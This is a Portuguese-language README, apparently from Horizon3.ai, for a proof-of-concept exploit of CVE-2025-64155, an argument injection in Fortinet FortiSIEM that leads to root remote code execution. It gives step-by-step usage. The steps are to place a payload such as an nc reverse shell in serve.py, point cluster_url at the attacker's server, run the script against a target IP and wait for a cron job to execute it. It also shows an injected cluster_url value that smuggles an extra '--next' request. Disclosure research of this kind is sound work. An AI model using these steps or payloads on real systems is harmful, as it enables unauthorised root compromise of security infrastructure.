CVE-2025-64155: Fortinet FortiSIEM Injeção de Argumentos para Execução Remota de Código

Exploit de prova de conceito para o Fortinet FortiSIEM que abusa de uma injeção de argumentos para gravar um arquivo e obter execução de código como root

Post do Blog

Análise aprofundada aqui: Horizon3.ai - CVE-2025-64155: Três Anos de Obtenção Remota de Root no Fortinet FortiSIEM

Nota

Explorar esse problema para sobrescrever arquivos do aplicativo provavelmente levará à instabilidade do sistema. Use com cautela. As verificações podem ser executadas de forma benigna editando cluster_url para: <cluster_url>http://127.0.0.1:80 --next http://<INTERACTSH_URL></cluster_url>

Uso

1. Edite o payload no servidor web serve.py para o payload desejado (ex. shell reversa com nc)
2. Edite o cluster_url no CVE-2025-64155.py para apontar para a URL base do servidor onde o serve.py está em execução (ex. http://10.0.40.83:9200)
3. Execute o servidor web serve.py
4. Execute o exploit CVE-2025-64155.py
5. Aguarde aproximadamente 1 minuto para o cron job executar o payload

% python3 CVE-2025-64155.py -h
usage: CVE-2025-64155.py [-h] -t TARGET [-p PORT]

options:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        The IP address of the target
  -p PORT, --port PORT  The port of the Phoenix Monitor service

Siga a equipe de ataque da Horizon3.ai no Twitter para saber das pesquisas de segurança mais recentes:

• Horizon3 Attack
• James Horseman
• Zach Hanley

Aviso Legal

Este software foi criado puramente para fins de pesquisa acadêmica e para o desenvolvimento de técnicas defensivas eficazes, e não se destina a ser usado para atacar sistemas, exceto quando explicitamente autorizado. Os mantenedores do projeto não são responsáveis nem se responsabilizam pelo uso indevido do software. Use com responsabilidade.